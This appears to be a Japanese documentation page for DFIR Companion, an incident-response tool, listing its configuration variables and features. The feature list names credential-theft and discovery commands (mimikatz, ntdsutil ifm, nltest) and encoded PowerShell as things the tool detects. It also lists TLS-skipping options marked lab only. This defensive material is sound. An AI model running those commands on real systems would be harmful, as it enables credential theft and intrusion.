| `DFIR_PRESIDIO_URL` | _(未設定)_ | オプション: 自己運用の[Presidio](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/presidio.md) AnalyzerコンテナのベースURL(例: `http://localhost:5002`)。すでにマスクされたテキストをスキャンして、正規表現では捉えられない名前やその他のPIIを検出します。未設定 = 機能オフ。 |
| `DFIR_PRESIDIO_MIN_SCORE` | `0.6` | Presidioファインディングの信頼度下限(0〜1)。空欄/非数値はデフォルトにフォールバックし、範囲外の値はクランプされます |
| `DFIR_PRESIDIO_TIMEOUT_MS` | `60000` | 1回の `/analyze` リクエストの予算(スキャンはチャンク化され、各チャンクが全予算を取得します)。遅いまたは共有のアナライザーでは引き上げてください。空欄/非数値/≤0はデフォルトにフォールバックします |

> 上記のスクリーンショット/ビジョン変数(`DFIR_VISION_PROVIDER` / `DFIR_VISION_MODEL` / `DFIR_VISION_KEY` / `DFIR_VISION_BASE_URL` / `DFIR_VISION_IMAGE_DETAIL`)は `DFIR_AI_*` プレフィックスから改名されました。レガシーな `DFIR_AI_PROVIDER` / `DFIR_AI_MODEL` / `DFIR_AI_KEY` / `DFIR_AI_BASE_URL` / `DFIR_AI_IMAGE_DETAIL` 名は非推奨のフォールバックとして引き続き機能します(両方設定されている場合は新しい名前が優先されます)。

**Claude Code** — `claude` CLI経由でログイン済みのClaudeサブスクリプションを使用し、APIキーは不要です。ビジョン + テキスト(スクリーンショット抽出*および*合成)を処理します。ホストに `claude` CLIがインストールされ、`claude auth login` が完了している必要があります。サブスクリプションのレート制限を消費します(大量の抽出で使い果たす可能性があります)。報告されるコストはAPI換算であり、実費ではありません。設定 → AIに接続ステータス(未インストール / 未接続 / 接続済み)とワンクリックの接続アクションが表示されます。

### AI — テキストモデル(2層、オプション)

分割は**ビジョン対テキスト**です: `DFIR_VISION_MODEL` はスクリーンショットを読み取り(マルチモーダルである必要があります)、`DFIR_AI_SYNTH_*` モデルは**すべてのテキスト作業** — CSV抽出、ログトリアージ、合成、ask/explain — を行います。未設定の場合、テキスト作業は `DFIR_VISION_MODEL` を再利用します。

**Codex** — `DFIR_AI_SYNTH_PROVIDER=codex` を設定すると(velo / セカンドオピニオンプロバイダーにも有効)、ローカルのOpenAI **Codex CLI**(`codex exec`)を通じてテキスト作業を実行し、環境のcodex認証 — `codex login` または `OPENAI_API_KEY`、**`DFIR_AI_KEY` は不要** — を使用します。Codexは**テキスト専用**(スクリーンショットを読めません)なので、抽出にはビジョンプロバイダーと組み合わせてください。OpenAIにデータを送信します(非ローカル)。`@openai/codex` がインストールされている必要があります。オプションの `DFIR_AI_CODEX_BIN` はPATH上にない `codex` を指します。設定 → AIにcodex接続ステータス(未インストール / 未接続 / 接続済み)とワンクリックの接続アクションが表示されます。

推奨: スクリーンショットには安価なビジョンモデル、テキストには強力な推論モデル。テキストモデルで節約しないでください — 弱いモデルはログトリアージを*サイレントに*失敗させ、誤ったイベントではなくイベントを返しません(`npm run eval:real` がまさにこれを測定します)。

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_AI_SYNTH_PROVIDER` | = `DFIR_VISION_PROVIDER` | テキスト作業(CSV/ログ/合成)のプロバイダー |
| `DFIR_AI_SYNTH_MODEL` | = `DFIR_VISION_MODEL` | テキストモデルID — CSV/ログ抽出 + 合成(例: `gpt-4o`、`gemini-2.5-pro`、`claude-sonnet-4-6`) |
| `DFIR_AI_SYNTH_KEY` | = `DFIR_VISION_KEY` | テキストモデルのAPIキー |
| `DFIR_AI_SYNTH_BASE_URL` | = `DFIR_VISION_BASE_URL` | 合成のベースURL |

### AI — Velociraptorハントモデル(オプション)

Velociraptor VQLハント(*Suggest Velociraptor hunts* / *Fleet Hunts* 機能)の生成**のみ**に使用される専用モデルで、抽出/合成/OCRとは別です — 多くのモデルはVQLを失敗させます。**設定 → AI**でも編集可能です。

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_AI_VELO_PROVIDER` | `openrouter` | VQLハント生成のプロバイダー |
| `DFIR_AI_VELO_MODEL` | `anthropic/claude-haiku-4.5` | VQLハント生成のモデルID |
| `DFIR_AI_VELO_KEY` | = `DFIR_VISION_KEY` | APIキー(空欄の場合はメインキーを再利用) |
| `DFIR_AI_VELO_BASE_URL` | = `DFIR_VISION_BASE_URL` | ベースURLの上書き |

### AI — カスタムプロンプト(オプション)

各プロンプトには2つの上書き形式があります(優先順): `DFIR_AI_<NAME>_PROMPT`(インラインテキスト、起動時に読み込み)と `DFIR_AI_<NAME>_PROMPT_FILE`(ファイルへのパス、呼び出しごとに再読み込み — 編集すると即座に適用されます)。`npm run prompts:eject` は組み込みのデフォルトを出発点として書き出します。

| プロンプト名 | `<NAME>` トークン |
|---|---|
| スクリーンショットごとの抽出 | `SYSTEM` |
| CSVインポートトリアージ | `CSV` |
| ログインポートトリアージ | `LOG` |
| ホリスティック合成 | `SYNTH` |
| ケースQ&A | `ASK` |
| エグゼクティブサマリー | `EXEC` |
| ナラティブタイムライン | `NARRATIVE` |
| 推奨フリートハント | `HUNTS` |
| 推奨プレイブックハント | `PBHUNTS` |
| タイムラインギャップ仮説 | `GAPHYP` |
| クエリトランスレーター(NL → クエリ) | `QUERYXLATE` |

### 脅威インテリジェンスエンリッチメント(オプション — デフォルトでオフ)

キーを追加するとそのプロバイダーが有効になります。すべての外部プロバイダーはダッシュボードからケース単位でオプトインします。

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_VT_KEY` | — | VirusTotal APIキー(ハッシュ / IP / ドメイン / URL) |
| `DFIR_HUNTINGCH_KEY` | — | Hunting.ch(MalwareBazaar · ThreatFox · URLhaus · YARAify)のabuse.ch Auth-Key。`DFIR_MB_KEY` にフォールバックします |
| `DFIR_MB_KEY` | — | レガシーなabuse.chキー — Hunting.chを強化します。`DFIR_HUNTINGCH_KEY` を推奨 |
| `DFIR_ABUSEIPDB_KEY` | — | AbuseIPDB APIキー(IPレピュテーション) |
| `DFIR_CROWDSTRIKE_CLIENT_ID` | — | CrowdStrike Falcon TI OAuth2クライアントID |
| `DFIR_CROWDSTRIKE_CLIENT_SECRET` | — | CrowdStrike OAuth2シークレット(*Indicators: Read* + *MalQuery: Read* が必要) |
| `DFIR_CROWDSTRIKE_CLOUD` | `us-1` | テナントクラウド: `us-1` \| `us-2` \| `eu-1` \| `gov-us-1` \| `gov-us-2` |
| `DFIR_CROWDSTRIKE_BASE_URL` | クラウドから | 明示的なAPIベースURL(`DFIR_CROWDSTRIKE_CLOUD` を上書き) |
| `DFIR_ROCKYRACCOON_KEY` | — | Windowsプロセス普及率 / LOLBIN / ATT&CKのためのRockyRaccoonキー |
| `DFIR_MISP_URL` | — | MISPインスタンスURL — エンリッチメントとプッシュの両方にURL + キーが必要 |
| `DFIR_MISP_KEY` | — | MISP API認証キー |
| `DFIR_MISP_CA` | — | 内部CAのMISP用PEM CAバンドル(検証はオンのまま) |
| `DFIR_MISP_INSECURE` | — | `=1` でTLS検証をスキップ(ラボのみ) |
| `DFIR_MISP_DISTRIBUTION` | `0` | 新規イベントの配布: `0`=org、`1`=community、`2`=connected、`3`=all |
| `DFIR_MISP_ANALYSIS` | `1` | 新規イベントの分析状態: `0`=initial、`1`=ongoing、`2`=complete |
| `DFIR_MISP_TIMELINE_LIMIT` | `5000` | プッシュごとの最大フォレンジックタイムラインイベント数。上限を超えると最も重大なものが保持され、プッシュが警告します |
| `DFIR_YETI_URL` | — | YETIインスタンスURL — URL + キーの両方が必要 |
| `DFIR_YETI_KEY` | — | YETI APIキー |
| `DFIR_YETI_CA` | — | 内部CAのYETI用PEM CAバンドル |
| `DFIR_YETI_INSECURE` | — | `=1` でTLS検証をスキップ(ラボのみ) |
| `DFIR_OPENCTI_URL` | — | OpenCTIインスタンスURL — URL + キーの両方が必要(hash/ip/domain/url) |
| `DFIR_OPENCTI_KEY` | — | OpenCTI APIトークン |
| `DFIR_OPENCTI_CA` | — | 内部CAのOpenCTI用PEM CAバンドル |
| `DFIR_OPENCTI_INSECURE` | — | `=1` でTLS検証をスキップ(ラボのみ) |
| `DFIR_OPENCTI_MALICIOUS_SCORE` | `75` | 悪意あり判定の `x_opencti_score` しきい値 |
| `DFIR_RDAP_URL` | `https://rdap.org` | WHOIS-over-RDAPベース(キー不要。所有RIRへのIANAブートストラップ) |
| `DFIR_GEOIP_URL` | `https://ipinfo.io/{ip}/json` | GeoIP URLテンプレート(キー不要のHTTPS。`{ip}` が置換されます。パーサーはip-api.com + ipwho.isも許容します) |
| `DFIR_GEOIP_KEY` | — | オプションのGeoIPキー(`{key}` を埋めるか、`?token=` として追加)有料/自己ホストのバックエンド用 |
| `DFIR_SHODAN_KEY` | — | Shodan APIキー — ShodanホストルックアップIPエンリッチャーも強化します(顧客露出と共有) |
| `DFIR_HASHLOOKUP_URL` | `https://hashlookup.circl.lu` | CIRCL hashlookupベース(ハッシュIOC用のキー不要の既知ファイルルックアップ)。自己ホスト/エアギャップミラー用に上書き |
| `DFIR_ENRICH_DELAY_MS` | `1500` | ルックアップ間のスロットル(ms) |
| `DFIR_ENRICH_JITTER_MS` | `0` | 呼び出し間の待機に加える±ランダムジッター(ms)。整列/並列実行を分散させ、すべてが同時にプロバイダーのレート制限ウィンドウに当たらないようにします |
| `DFIR_ENRICH_RETRIES` | `2` | 429に当たったプロバイダー呼び出しの再試行回数。プロバイダーが送信する場合は `Retry-After` を尊重し、その後エラーとしてカウントされます |
| `DFIR_ENRICH_RETRY_BACKOFF_MS` | `1000` | プロバイダーが `Retry-After` を送らなかった場合の最初の429再試行前の基本バックオフ(試行ごとに倍増、最大30秒) |
| `DFIR_ENRICH_MAX` | `100` | エンリッチバッチごとにクエリされる最大IOC数(ハッシュ/IPが最初) |
| `DFIR_ENRICH_MAX_BATCHES` | `20` | 1回のエンリッチキックが連鎖できる上限付きバッチ数。`DFIR_ENRICH_MAX` より多くのIOCを持つケースは上限で停止しなくなりました: 実行が保存され、中断した場所から次のバッチを開始し、この数まで続きます。`1` は古い単一実行の動作を復元します。上限がまだ残すものはステータス行に報告され、サイレントに破棄されません |
| `DFIR_ENRICH_HEALTH_TTL_MS` | `60000` | 自己ホストプロバイダーのup/down判定をキャッシュ(ms) |
| `DFIR_ENRICH_HEALTH_POLL_MS` | `60000` | ダウンプロバイダーの再プローブ間隔。`0` でバックグラウンドポーラーを無効化 |

### 顧客露出(オプション)

**被害組織自身**のドメイン/メールを侵害データベースと照合します — 攻撃者/IOCドメインは決して対象にしません。

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_HIBP_KEY` | — | Have I Been Pwned APIキー |
| `DFIR_HIBP_USER_AGENT` | `DFIR Companion` | HIBP User-Agentヘッダー |
| `DFIR_LEAKCHECK_KEY` | — | LeakCheck Pro APIキー |
| `DFIR_LEAKCHECK_DOMAIN_LIMIT` | `1000` | ドメイン検索ごとの最大レコード数 |
| `DFIR_DEHASHED_KEY` | — | DeHashed v2 APIキー |
| `DFIR_DEHASHED_BASE_URL` | DeHashedのデフォルト | DeHashed APIベースURLの上書き |
| `DFIR_SHODAN_KEY` | — | Shodanキー(ドメイン → 露出ホスト / ポート / CVE。メールルックアップなし) |
| `DFIR_EXPOSURE_DELAY_MS` | `1500` | プロバイダールックアップ間のスロットル(ms) |

### DFIR-IRISプッシュ / インポート(オプション)

有効にするにはURLとキーの両方が必要です。同じ接続が **Push to DFIR-IRIS** と **Import from IRIS**(既存のIRISケースのアセット/IOC/タイムラインをケースにプル)の両方を強化します。

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_IRIS_URL` | — | IRISインスタンスURL |
| `DFIR_IRIS_KEY` | — | IRIS APIキー |
| `DFIR_IRIS_CA` | — | 内部CAのIRIS用PEM CAバンドル |
| `DFIR_IRIS_INSECURE` | — | `=1` でTLS検証をスキップ(ラボのみ) |
| `DFIR_IRIS_CUSTOMER_ID` | `1` | 新規IRISケースの顧客ID(プッシュ) |
| `DFIR_IRIS_CLASSIFICATION_ID` | `1` | 新規IRISケースの分類ID(プッシュ) |

### Timesketchプッシュ(オプション)

プッシュを有効にするにはURL + ユーザー + パスワードがすべて必要です。JSONLへのエクスポートは設定なしで機能します。

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_TIMESKETCH_URL` | — | TimesketchインスタンスURL |
| `DFIR_TIMESKETCH_USER` | — | ローカル認証ユーザー名 |
| `DFIR_TIMESKETCH_PASSWORD` | — | ローカル認証パスワード |
| `DFIR_TIMESKETCH_TIMELINE` | `DFIR-Companion Forensic Timeline` | 管理対象タイムライン名 |
| `DFIR_TIMESKETCH_CA` | — | 内部CAのTimesketch用PEM CAバンドル |
| `DFIR_TIMESKETCH_INSECURE` | — | `=1` でTLS検証をスキップ(ラボのみ) |

### Notionエクスポート(オプション)

トークンだけで有効になります。対象のページ/データベースをインテグレーションと共有してください。「新規ページ」にはデータベースまたは親ページが必要です(環境デフォルトまたはエクスポートごとに入力)。「既存ページ」は貼り付けたページを更新します。

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_NOTION_TOKEN` | — | 内部インテグレーションシークレット(Notion: 設定 → 接続 → 独自に開発) |
| `DFIR_NOTION_DATABASE_ID` | — | 「新規ページ」エクスポートのデフォルトデータベース(調査テンプレート) |
| `DFIR_NOTION_PARENT_PAGE_ID` | — | 代替デフォルト: この親ページの下に新規ページを作成 |
| `DFIR_NOTION_CONTAINER_TITLE` | `🔍 DFIR Companion — Auto-generated` | Companionが所有する管理ブロックのタイトル |
| `DFIR_NOTION_MAX_TIMELINE` | `500` | Notionに書き込まれる最大タイムライン行数 |
| `DFIR_NOTION_CA` | — | プロキシが内部CAを使用する場合のPEM CAバンドル |
| `DFIR_NOTION_INSECURE` | — | `=1` でTLS検証をスキップ(ラボのみ) |

### Velociraptorライブハント + トリアージバンドル(オプション)

`DFIR_VELOCIRAPTOR_API_CONFIG` を設定して有効にします。設定は次のコマンドで一度生成します:```
velociraptor --config server.config.yaml config api_client --name dfir --role administrator,api api.config.yaml

トリアージバンドル(Settings → Velociraptor タブ): Browse server artifacts はサーバーの収集可能な CLIENT アーティファクトを一覧表示します。名前付きの バンドルを組み立てて保存します(3 つが組み込みで同梱 — Best Practice(クイックウィンスイープ)、Super-Timeline Triage(生のホストアーティファクト。スーパータイムラインのみにルーティング)、**Linux


Read more

ツールをダウンロード
  • インポートの取り消し/やり直し — 正確なインポート前の状態にロールバック/フォワード(再統合なし)。ケースごとのマルチレベルスタック
  • カスタム(宣言型)インポーター — JSON定義で新しいファイル形式を教える(コード不要)。組み込みプロンプトでLLMが作成可能。組み込みと同様に自動検出 + インポートされ、組み込み/カスタムの優先順位があります
  • 証拠優先 — 分析前にディスク + 監査ログに書き込み。SHA-256重複排除(DFIR_DEDUP=offで無効化)
  • カストディチェーン — すべてのスクリーンショットとインポートが、署名済みマニフェスト付きの自動ハッシュチェーン化されたカストディ記録を取得
  • インシデントタイプ自動プレイブック — インシデントタイプを選ぶと、主要な問い、次のステップ、予想される所見がシードされます
  • スクリーンショットOCR全文検索 — キャプチャされたすべてのスクリーンショットはバックグラウンドでローカルにOCRされます。コンソールで見たテキスト(ホスト名、「mimikatz」、ハッシュ、エラー)をフィルタバーから検索し、スクリーンショットにジャンプできます。AIなし、ローカルのみ(DFIR_OCR_SEARCH=offで無効化、npm run ocr-indexでバックフィル)
  • ローカルホストのみ — 拡張機能用のCORS + Private-Network-Accessを備えた127.0.0.1。認識されないホスト名を拒否し、DNSリバインディング攻撃を封じます(DFIR_ALLOWED_HOSTS)
  • eve.json
    Snort / Suricata IDS (fast)
    alert_fast
    Priority
    YARA
    yara -s -m
    score
    threat_level
    Web/プロキシアクセスログ
    combined
    HTTP Referer、User-Agent
    Cisco ASA ファイアウォール syslog
    %ASA-#-######:
    Deny
    Syslog (plain)
    <PRI>1 …
    Mmm dd …
    Security Onion
    event.severity_label
    SO-CRATES
    /api/events
    /api/sigma-alerts
    Cyber Triage
    M365 / Entra ID
    Okta
    Google Workspace
    Hindsight (ブラウザ)
    macOS
    log show --style json
    com.apple.quarantine
    .sfl2
    iLEAPP / ALEAPP
    AWS CloudTrail
    GCP / Azure
    Kubernetes audit
    audit.k8s.io
    osquery
    columns
    snapshot
    Plaso
    psort
    サンドボックスレポート
    report.json
    メモリフォレンジック
    -r json
    Intact (trimmed VolWeb)
    memory_payload.json
    yarascan_results.jsonl
    TheHive
    メール
    .eml
    .msg
    シェル履歴
    .bash_history
    .zsh_history
    HISTTIMEFORMAT
    #epoch
    Linux 永続化
    Linux auditd
    audit.log
    ausearch
    aureport
    systemd journald
    journalctl -o json
    -o json-pretty
    sysdig / Falco
    -j
    Wazuh
    alerts.json
    GET /security/events
    rule.level
    CSV
    汎用ログ
    cmd.exe
  • Execute-assembly の痕跡 (T1620) — rundll32、mshta または類似のホストにちなんで名付けられた CLR 使用ログは High と格付け
  • スクリプトブロック内の discovery コマンド — nltest、Get-AD*、ntdsutil … ifm および類似のものが 4104/4103 レコードからそのテクニックとともに読み出される
  • ケース自身のコレクタは証跡ではない — Velociraptor のダウンロード、インストール、生成された PowerShell、ルールファイルはコレクタ由来として Info と格付け
  • クラウドライフサイクルサマリー — AWS 資格情報系統、EC2 インスタンスライフサイクル、Workspace OAuth クライアント、Exchange メールボックスチェーン、Entra アプリケーション特権パスごとに 1 行で、そのレコードがアップロード内で 1 つを形成するもの; それぞれがそのレコードが何を立証し、何を立証しないかを示す
  • ネットワーク関係 — TLS (Zeek ssl/x509、Suricata tls) は関係ごとおよび証明書ごとに 1 行になる; DNS 応答は TTL 内で同じクライアントの後の接続に結合される; Web リクエストチェーンは両方のレコードが持つ識別子のみで結合される
  • モバイル由来タグ — すべての iLEAPP / ALEAPP 行は、その内容がこのデバイスで記録されたか、同期されたか、受信されたかを、上流に固定されたレジストリから示す
  • ケースメモリ
    known unknowns
    DFIR_SYNTH_ADVERSARY_HINTS
  • 構造化された展開可能な収集ディレクティブ — 「Xを収集」推奨は機械実行可能なターゲットを伴う。既知のホストへのワンクリック展開、自動検出されたインポート充足
  • Evidence Gapsパネル — 未カバーのキルチェーンフェーズが、展開可能な収集ディレクティブを伴う構造化アイテムとして、ダッシュボードパネルとレポート§4.6.3にレンダリング
  • 収集計画 — インシデントタイプ別の証拠チェックリストをダッシュボードパネルとして表示。一致する証拠が到着するとアイテムが自動チェックオフ
  • 攻撃者セッション/ストーリー再構築 — タイムラインをホストごとのセッションチャプターに再編成し、AI要約とレポートセクションを付与
  • クロックスキュー検出とタイムライン調整 — 60秒を超えるホストクロックドリフトにフラグを立てる。「Align timelines」トグルがすべての場所で修正
  • Playbook Matchパネル — ケースのテクニックが公開プレイブック(Conti、LockBit、BlackCat、Akira、Scattered Spider、Black Basta、BlackSuit、Play、Egg-Cellent Resume)の記述する順序で発生したか。欠落ステップはEvidence Gapsに供給される。アクターではなくプレイブックに一致
  • ゼロ収量インポート警告 — ゼロイベントを生成した大きなAIトリアージ済みファイルに、インポートバナーとEvidence Gapsパネルでフラグを立てる
  • Second look — アナリストが押すパスが、スーパータイムラインに対して未解決の質問を解決し、何を昇格させるかをプレビューし、その後結論を再実行
  • 即時偽陽性カスケード — 所見/IOC/イベントをFPとマークすると、依存する質問、次のステップ、仮説が同期的に再評価される
  • Rabbit-hole検出 — 主要な証拠グラフから切り離された所見は降格され、「possible rabbit hole」のバッジが付く
  • ケースごとの有病率ベースライン+FPパターン伝播 — 希少性バイアスのかかったイベント選択、および既に却下されたFPパターンに一致するイベントのワンクリック一括却下
  • 却下された所見から学習 — 繰り返されるFPパターンは類似の新規アクティビティの信頼度を下げる(ゼロにはしない)
  • コンテンツベースのイベントタガー(Timesketchスタイルのtags.yaml) — ルールエンジンがイベントにタグを付け、重大度を引き上げ、MITREテクニックを統合
  • Response Playbook — 追跡可能なチェックリスト(ステータス/優先度/担当者/期限/カスタムタスク)。オプトインのIRテンプレートが所見をContain→Investigate→Eradicate→Recoverに展開
  • トリアージタグとコメント — エンティティにラベルを付け+ノートを添付。ライブWebSocket同期。統合を生き延びる
  • アクティビティログ — ケースに対して行われたすべてのセキュリティ関連アクション(インポート、偽陽性のマーク/解除、AI実行、エンリッチメント/匿名化トグル、設定変更、プレイブック編集、コメント/タグ、ハント実行、エクスポート)の時系列でフィルタ可能な記録
  • 一括アクション — イベント/IOC/所見の複数選択:スター/タグ/偽陽性マーク/エンリッチ/コピー
  • IOCホワイトリスト(Settings) — CIDR/完全一致/正規表現パターンが一致するIOCを自動的に偽陽性とマーク。グローバル。オプトイン
  • ケースごとのIOC除外リスト — IOCsパネルのタイトルバーで完全一致/サフィックス/正規表現ルールにより、ドメイン/ホスト名(または任意のIOCタイプ)の一致をケースから恒久的に削除。除外された値は即座にパージされ、再インポートやエンリッチメントは決して行われない
  • NSRL known-goodハッシュ(Settings) — フラットなハッシュセットまたは直接SQLite DBクエリ(約160 GB)。一致するイベント/IOCを自動的に偽陽性とマーク
  • ペイロード難読化解除 — base64 PowerShell(-enc、[Convert]::FromBase64String)を自動デコード。隠されたIOCを抽出。[Decoded]ブロックを表示
  • CISA KEV統合(Settings) — CVEをCISAカタログと照合。強力な初期アクセスシグナル
  • 複合IOCリスクスコア — インジケーターごとの重み付けされたcritical/high/medium/low/benignティア。バッジ、フィルタレンズ、レポート列として表示
  • IOC裏付け — ⊕ Nバッジが各インジケーターを観察したツールの数を表示
  • IOCプロベナンス — 各IOCをdetection-linked(Low+イベントで観察)vs telemetry-only(Infoのみ)に分類。脅威インテリジェンスの評決とは別。IOCごとのバッジ+All/Detection-linked/Telemetry-onlyフィルタ
  • IOCプロベナンスチェーン — IOCごとの🔗パネル:抽出イベント、エンリッチメントルックアップ、引用する所見、JSONエクスポート付き。主要インポーターの正確なソース行
  • IOC flagged-onlyフィルタ — 脅威インテリジェンスで確認されたインジケーター以外をすべて非表示
  • IOCタイプフィルタ — ファセットドロップダウン(ip/domain/url/hash/file/process/other)とタイプ別カウント。flagged-only+検索フィルタと組み合わせ可能
  • IOCリストのノイズ低減コントロール — 3つの組み合わせ可能な表示専用フィルタ、デフォルトオン:偽陽性/インテリジェンスなしIOCを非表示、OSシステムパスファイルを非表示、「🎯 Signal only」でflagged/裏付け済み/エンリッチ済みに絞り込むビュー
  • IOCリストのページネーション — タイムラインと同様にクライアントサイドでページング、デフォルト100/ページ
  • 除外フィルタ — チップリストコントロール(ツールバー検索の隣)が、複数の除外用語のいずれかに一致するタイムラインイベント/IOC/所見を非表示。ブラウザごと
  • ハントピボットジェネレーター — ワンクリックでVelociraptor VQL、KQL、ES|QL、SPL、Sigma、YARA、Suricataクエリを出力
  • Sigma → VQLハント — Sigmaルールを貼り付け、決定論的にコンパイル(logsourceカテゴリごとに1つの固定テンプレート、サポートされない行はすべて名前を挙げて拒否)、記録されたフリートハントとして起動。process_creationルールはSysmon / 4688履歴もハント
  • Query Translator — 平易な英語 → 実行可能なクエリ(NL:「PowerShell downloading then executing」)を、有効なすべてのプラットフォームにわたって。ワンクリック展開のVQLハント
  • Internal Hunt Workbench — ブール論理、範囲、正規表現、グループ化、保存されたハント、エンティティピボットを備えた型付きフィールドクエリを、フォレンジックまたはスーパータイムライン上で実行。生のヒットは昇格されるまでAIから除外
  • Velociraptorトリアージバンドル — アーティファクトを閲覧し、バンドルを保存し(ビルトインにはHayabusa Fullを含む)、ハントとして実行し、結果を自動収集+インポート
  • AI提案フリートハント — AIが因果的証拠グラフ(スポーンチェーン、ファイル系譜、ラテラルムーブメント)に基づいてプロアクティブなフリートスイープハントを提案。ハントはリーフインジケーターだけでなく関係性を標的とする
  • AI提案プレイブックハント — AIがエンドポイント関連タスクごとにハントを提案(単一エンドポイント収集またはフリートハント)
  • ハンティングフィードバックループ — ケースごとに展開された各ハントの結果(新規証拠+カウント)を記録。提案は既に実行されたクエリをスキップし、ヒットしたものにピボット。ハント済み/ヒット/ミスのHunting Profile付き
  • Webhookプッシュインジェスト(オプトイン、トークン) — 外部ツールがPOST /cases/:id/push経由でアラートをプッシュ(SIEM webhook、Velociraptorモニター、スクリプト)
  • Velociraptorライブモニタリング(オプトイン) — CLIENT_EVENTアーティファクト(例:ProcessCreation)をイベント発火時にストリーム。インターバルで自動収集。有効なすべてのアーティファクトのワンクリック自動モニター
  • 外部ハント/フローのインポート — VelociraptorハントID、フロー、GUI URL(またはTHOR/Hayabusaレポート用のUploaded Files URL)を貼り付け。ホストは自動的に解決され、完全に読み込まれなかったアーティファクトは名前が挙げられ、「no rows」として報告されることは決してない
  • スコープ+偽陽性マーク — 時間枠を設定。所見/IOC/イベントを構造化された理由(known-goodツール/承認済みテスト/検出ミスファイア/重複/その他)+アナリスト帰属(可逆)で偽陽性とマーク。すべてのビューが再投影
  • 偽陽性類似提案 — 1つのアイテムを偽陽性とマークすると、ランク付けされた「類似アイテム」候補(共有MITRE/プロセス/ハッシュ/資産/IOC)を取得。決定論的またはAI支援で、同じパターンを1パスで却下。単一IOCマークはグローバルIOCホワイトリストへのワンクリック昇格も可能
  • Super-Timeline — インポートされたすべてのイベントのTimesketchスタイルの記録。フォレンジックタイムラインとは別に保持され、AIが読むことは決してない。フィルタ、ラベル付け、タイムフレームの保存、行のフォレンジックタイムラインへの昇格
  • 重大度ゲート付きフォレンジックタイムライン — Infoテレメトリはスーパータイムラインのみにルーティング(フォレンジックタイムラインはLow+グレードのシグナルを保持)されるため、統合が圧倒されない。DFIR_FORENSIC_MIN_SEVERITY+ケースごとのオーバーライドで設定可能。昇格はゲートをバイパスし、IOCはすべてのイベントから依然として抽出される
  • フレッシュネス — 「last synthesized N ago」+差分(期間/イベント/IOCカウント)。「last import N ago」+NEW行ハイライト。5 000イベント超のケースには⚠勧告
  • タイムラインイベント密度ヒートマップ — Forensic Timelineの上のバーストリップが、フィルタリングされた完全なデータセット(現在のページだけでなくすべてのページ)を時間でバケット化し、各バケットの最悪重大度で色付け。バーをクリックするとタイムラインがそのウィンドウにズーム。モバイルでは細いスパークラインに折りたたまれる
  • タイムラインページネーション — 1ページあたり100/250/500/全行(ユーザー選択可能)。前/次コントロール
  • タイムラインソースフィルタ — ファセットドロップダウン(重大度凡例の隣)で、生成したツール/ソース別にイベントを表示/非表示。マルチソースイベントは、すべてのソースが非表示でない限り表示されたまま
  • タイムラインオリジンフィルタ — ソースフィルタより1レベル具体的:生成した正確なアーティファクト(例:DetectRaptor.Windows.Detection.MFT)別にイベントを表示/非表示。フォレンジックとスーパーの両タイムラインで
  • タイムライン行表示 — Settings → Generalで、各タイムライン行が表示するサブ要素(アクションアイコン/タグピル/バッジ/ホストチップ/MITRE/関連所見/証拠リンク)をトグル。タイムスタンプ+メッセージは常に表示。ブラウザごと、即座に適用
  • Vimスタイルのキーボードナビゲーション — j/kがForensic Timelineでフォーカス行ハイライトを移動、fがスター、iが手動IOCフォームをプリフィル、pが引用された所見をピン、nがコメントを開く、?がチートシートを表示。Settings → Generalでトグル可能、デフォルトオン
  • インポート重大度を記憶 — 最小重大度インポートプロンプトには、選択した下限を保存し将来のインポートでプロンプトをスキップするdon't ask againチェックボックスがある。Settings → General → Import severityで管理/クリア。ブラウザごと
  • 相関プロファイル — クロスソースイベントマージ用のケースごとのStrict/Moderate/Aggressive/Customウィンドウ。ツールバードロップダウン+PUT /cases/:id/correlation-profile
  • IOCブロックリスト — TXT/CSV/STIXのみ。重大度/タイプ/判定でフィルタリング
  • 自動状態バックアップ / ローテーション — 合成前 + 毎時の全ケース別状態ファイルのスナップショット。保持期間設定可能。設定 → 診断 → ワンクリックで復元
  • 暗号化ケースアーカイブ — ケース全体 (証拠とスクリーンショットを含む、AES-256-GCM暗号化) のパスワード保護された.dfircaseエクスポート。マシン間共有 + 新規ケースとして復元
  • 編集済みケースパッケージ — トークン化されたIP/ホスト/ユーザー、スクリーンショット内のぼかされたPII、保持された敵対者インジケーターを含むZIP
  • AIエグゼクティブサマリー — 経営層向け (ATT&CK ID/ハッシュ/ツール名なし)
  • ナラティブタイムライン — 非技術系ステークホルダー向けの散文ストーリー
  • DFIR-IRISプッシュ — 冪等。アセット/IOC/タイムライン/タスクをマッピング。プッシュダイアログはターゲットのIRISケース名を表示し (上書きも可能)、記憶されるため以降のプッシュは同じケースにヒットし続けます。設定 → DFIR-IRISにはTest/reconnectがあります (再起動不要)
  • DFIR-IRISインポート — 既存のケースアセット/IOC/タイムラインを取得 (決定論的、AIなし)
  • Jira / ServiceNowプッシュ — 検出パネルから直接ワンクリックまたは一括プッシュ。再プッシュで既存チケットを更新
  • コンプライアンス影響 — 確認された検出事項をNIST/PCI/HIPAA/GDPR/SEC/ISOの義務にマッピングし、侵害通知のカウントダウン付き
  • Timesketchプッシュ — スケッチを検索または作成。フォレンジックタイムラインまたは完全なスーパータイムライン (生のホストトリアージアーティファクトを含む) のいずれかをプッシュまたはダウンロードし、それぞれが同じスケッチ内の独自のタイムラインに入るため、互いを上書きしません。JSONLエクスポート
  • Notionエクスポート — 管理されたページブロック。その外側のノートはそのまま
  • ClickUpエクスポート — レスポンスプレイブックをタスクとして。再プッシュでその場で更新
  • 通知 — 検出事項/プレイブック/マイルストーン向けのSlack/MS Teams/Mattermost/Discord/Telegram/SMTP。チャンネルごとのしきい値 + トグル
  • SIEMへの監査ログエクスポート — 各ケースのアクティビティログ (誰が何をいつ行い、成功したか) をSOC 2 / ISO 27001の証跡としてSplunk HEC、Elasticsearch、またはRFC 5424 syslogに転送。宛先ごとにオプトイン、ケースごとにどこまで進んだかを記憶し、障害後はスキップせず再送信
  • ウォールームスラッシュコマンドボット — 双方向Slack/Teams/Telegram: インシデントチャンネルから/dfir findings、/dfir iocs malicious、/dfir ask …。チャンネルをケースにバインドし、AI予算を使える人を許可リスト化 (#235)
